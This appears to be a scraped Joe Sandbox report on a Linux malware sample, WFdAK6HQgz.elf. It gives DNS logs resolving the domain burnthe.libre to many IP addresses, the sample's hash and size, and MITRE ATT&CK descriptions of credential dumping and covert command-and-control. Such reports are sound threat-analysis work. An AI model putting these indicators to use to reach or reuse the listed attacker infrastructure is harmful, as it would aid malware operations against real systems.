Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:07:17.835499048 CEST	51.158.108.203	192.168.2.14	0xba8f	No error (0)	burnthe.libre		204.76.203.223	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:06:55
Start date (UTC):	27/04/2024
Path:	/tmp/WFdAK6HQgz.elf
Arguments:	/tmp/WFdAK6HQgz.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report WFdAK6HQgz.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.1PXm91 (deleted)

/tmp/qemu-open.2ZliL4 (deleted)

/tmp/qemu-open.4KP1U5 (deleted)

/tmp/qemu-open.4Kpf04 (deleted)

/tmp/qemu-open.4LxNZ2 (deleted)

/tmp/qemu-open.4U90O5 (deleted)

/tmp/qemu-open.4uE0D3 (deleted)

/tmp/qemu-open.5ieuZ5 (deleted)

/tmp/qemu-open.6TzJW4 (deleted)

/tmp/qemu-open.7M8kW1 (deleted)

/tmp/qemu-open.7a1MY2 (deleted)

/tmp/qemu-open.7gqd15 (deleted)

/tmp/qemu-open.7jcay2 (deleted)

/tmp/qemu-open.8sfVq4 (deleted)

/tmp/qemu-open.8txg64 (deleted)

/tmp/qemu-open.94EE11 (deleted)

/tmp/qemu-open.9UA6X3 (deleted)

/tmp/qemu-open.AHiJE5 (deleted)

/tmp/qemu-open.AmVzG2 (deleted)

/tmp/qemu-open.B1nbn5 (deleted)

/tmp/qemu-open.C9rXa3 (deleted)

/tmp/qemu-open.CEnzF5 (deleted)

/tmp/qemu-open.CetoE4 (deleted)

/tmp/qemu-open.D1onp2 (deleted)

/tmp/qemu-open.Dj3sR3 (deleted)

/tmp/qemu-open.DyAIL2 (deleted)

/tmp/qemu-open.E6T5a4 (deleted)

/tmp/qemu-open.EMyky5 (deleted)

/tmp/qemu-open.FBksw6 (deleted)

/tmp/qemu-open.FDr763 (deleted)

/tmp/qemu-open.FEjAW5 (deleted)

Linux Analysis Report
WFdAK6HQgz.elf

Start time (UTC):	09:06:56
Start date (UTC):	27/04/2024
Path:	/tmp/WFdAK6HQgz.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre